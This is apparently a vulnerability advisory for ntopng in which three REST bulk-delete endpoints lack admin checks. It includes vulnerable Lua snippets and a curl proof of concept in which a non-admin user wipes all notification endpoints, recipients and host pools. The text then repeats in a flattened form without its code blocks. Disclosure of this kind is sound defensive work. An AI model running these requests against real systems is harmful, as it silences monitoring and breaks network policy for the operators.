Summary
Three REST API endpoints lack authorization checks, allowing any authenticated non-admin user to perform destructive bulk-delete operations normally restricted to administrators:
| Endpoint |
Operation |
POST /lua/rest/v2/delete/endpoints.lua |
Delete all notification endpoint configurations |
POST /lua/rest/v2/delete/recipients.lua |
Delete all notification recipients |
POST /lua/rest/v2/delete/pools.lua |
Delete all host pools and their member bindings |
A non-admin attacker can use these endpoints to silence ntopng's entire alerting pipeline (by deleting endpoints and recipients) or to destroy host pool segmentation (by deleting all pools), without requiring any CSRF token (HTTP Basic Auth bypasses CSRF).
Details
Vulnerable files:
scripts/lua/rest/v2/delete/endpoints.lua
scripts/lua/rest/v2/delete/recipients.lua
scripts/lua/rest/v2/delete/pools.lua
None of these scripts contains an isAdministratorOrPrintErr(), isAdministrator(), or auth.has_capability() check. They call destructive module functions directly:
-- scripts/lua/rest/v2/delete/endpoints.lua
local endpoints = require("endpoints")
local recipients = require "recipients"
endpoints.reset_configs() -- deletes all configured notification endpoints
recipients.cleanup() -- deletes all notification recipients
rest_utils.answer(rest_utils.consts.success.ok)
-- scripts/lua/rest/v2/delete/recipients.lua
local recipients = require "recipients"
recipients.cleanup() -- deletes all notification recipients
rest_utils.answer(rest_utils.consts.success.ok)
-- scripts/lua/rest/v2/delete/pools.lua
local pools_rest_utils = require "pools_rest_utils"
pools_rest_utils.delete_all_instances_pools() -- deletes all host pools
The underlying module functions (endpoints.reset_configs(), recipients.cleanup(), pools:cleanup()) use ntop.delHashCache() and ntop.delCache() C++ bindings that write to Redis without any privilege check at the C++ layer.
Gated siblings: The individual operations for editing notification config (e.g., scripts/lua/edit_endpoint.lua line 16, scripts/lua/rest/v2/reset/notifications/config.lua line 24) check auth.has_capability(auth.capabilities.notifications) or isAdministratorOrPrintErr(). The bulk-delete REST endpoints bypass these guards.
-- scripts/lua/edit_endpoint.lua:16 (GATED - admin UI endpoint)
if not auth.has_capability(auth.capabilities.notifications) then
rest_utils.answer(rest_utils.consts.err.not_granted)
return
end
-- scripts/lua/rest/v2/delete/endpoints.lua (MISSING AUTH CHECK)
endpoints.reset_configs() -- no guard before this
Why CSRF is not a mitigating control here: The ntopng HTTP server accepts Authorization: Basic header authentication. An attacker who can make HTTP requests to the ntopng port using their own credentials (password or API token) bypasses cookie-based CSRF entirely. The HTTP Basic Auth path sets csrf = NTOP_CSRF_TOKEN_NO_SESSION which is unconditionally trusted by getAuthorizedUser() in src/HTTPserver.cpp.
PoC
Prerequisites:
- ntopng running with authentication enabled:
docker run -d -p 3000:3000 ntop/ntopng:latest --community -i view:lo
- Admin account (
admin:Admin123!) and non-admin account (testuser:Testpass1!)
Setup -- Create a notification endpoint as admin:
curl -s -u admin:Admin123! \
"http://localhost:3000/lua/edit_endpoint.lua" \
-X POST \
-d "action=add&endpoint_conf_type=email&endpoint_conf_name=AlertEndpoint&smtp_server=smtp.corp.example.com&email_sender=alerts@corp.example.com"
# Expected: {"result":{"endpoint_id":3,"status":"OK"}}
Verify endpoint exists:
curl -s -u admin:Admin123! "http://localhost:3000/lua/get_endpoint_configs.lua"
# Shows AlertEndpoint (endpoint_id=3) in the list
Attack -- Non-admin deletes ALL notification endpoints:
curl -s -u testuser:Testpass1! \
"http://localhost:3000/lua/rest/v2/delete/endpoints.lua" \
-X POST
Observed response (live on v6.6.260618):
{"rsp":[],"rc_str":"OK","rc":0,"rc_str_hr":"Success"}
Verify AlertEndpoint is gone:
curl -s -u admin:Admin123! "http://localhost:3000/lua/get_endpoint_configs.lua"
# AlertEndpoint (id:3) is gone -- only the builtin alert_store_db remains (rebuilt with new ID)
Attack -- Non-admin deletes ALL recipients:
curl -s -u testuser:Testpass1! \
"http://localhost:3000/lua/rest/v2/delete/recipients.lua" \
-X POST
# Response: {"rc_str":"OK","rc_str_hr":"Success","rsp":[],"rc":0}
Attack -- Non-admin deletes ALL host pools:
curl -s -u testuser:Testpass1! \
"http://localhost:3000/lua/rest/v2/delete/pools.lua" \
-X POST
# Response: {"rsp":[],"rc":0,"rc_str":"OK","rc_str_hr":"Success"}
Impact
An authenticated attacker with any valid ntopng login (unprivileged or captive-portal user) can:
- Silence the entire alerting pipeline by deleting all notification endpoints and recipients. ntopng continues to detect threats but silently drops all generated alerts -- no emails, webhooks, or Syslog messages are delivered. An administrator monitoring ntopng would see alerts in the local alert store but all external notification channels are gone.
- Destroy host pool segmentation by deleting all host pools. This removes all traffic policy bindings and pool-based visibility restrictions, potentially allowing policy bypass in nEdge / firewall deployments.
- These are irreversible bulk operations with no undo. Endpoint configurations and pool bindings must be manually recreated by an administrator.
Summary
Three REST API endpoints lack authorization checks, allowing any authenticated non-admin user to perform destructive bulk-delete operations normally restricted to administrators:
POST /lua/rest/v2/delete/endpoints.luaPOST /lua/rest/v2/delete/recipients.luaPOST /lua/rest/v2/delete/pools.luaA non-admin attacker can use these endpoints to silence ntopng's entire alerting pipeline (by deleting endpoints and recipients) or to destroy host pool segmentation (by deleting all pools), without requiring any CSRF token (HTTP Basic Auth bypasses CSRF).
Details
Vulnerable files:
scripts/lua/rest/v2/delete/endpoints.luascripts/lua/rest/v2/delete/recipients.luascripts/lua/rest/v2/delete/pools.luaNone of these scripts contains an
isAdministratorOrPrintErr(),isAdministrator(), orauth.has_capability()check. They call destructive module functions directly:The underlying module functions (
endpoints.reset_configs(),recipients.cleanup(),pools:cleanup()) usentop.delHashCache()andntop.delCache()C++ bindings that write to Redis without any privilege check at the C++ layer.Gated siblings: The individual operations for editing notification config (e.g.,
scripts/lua/edit_endpoint.lualine 16,scripts/lua/rest/v2/reset/notifications/config.lualine 24) checkauth.has_capability(auth.capabilities.notifications)orisAdministratorOrPrintErr(). The bulk-delete REST endpoints bypass these guards.Why CSRF is not a mitigating control here: The ntopng HTTP server accepts
Authorization: Basicheader authentication. An attacker who can make HTTP requests to the ntopng port using their own credentials (password or API token) bypasses cookie-based CSRF entirely. The HTTP Basic Auth path setscsrf = NTOP_CSRF_TOKEN_NO_SESSIONwhich is unconditionally trusted bygetAuthorizedUser()insrc/HTTPserver.cpp.PoC
Prerequisites:
docker run -d -p 3000:3000 ntop/ntopng:latest --community -i view:loadmin:Admin123!) and non-admin account (testuser:Testpass1!)Setup -- Create a notification endpoint as admin:
Verify endpoint exists:
Attack -- Non-admin deletes ALL notification endpoints:
Observed response (live on v6.6.260618):
{"rsp":[],"rc_str":"OK","rc":0,"rc_str_hr":"Success"}Verify AlertEndpoint is gone:
Attack -- Non-admin deletes ALL recipients:
Attack -- Non-admin deletes ALL host pools:
Impact
An authenticated attacker with any valid ntopng login (unprivileged or captive-portal user) can: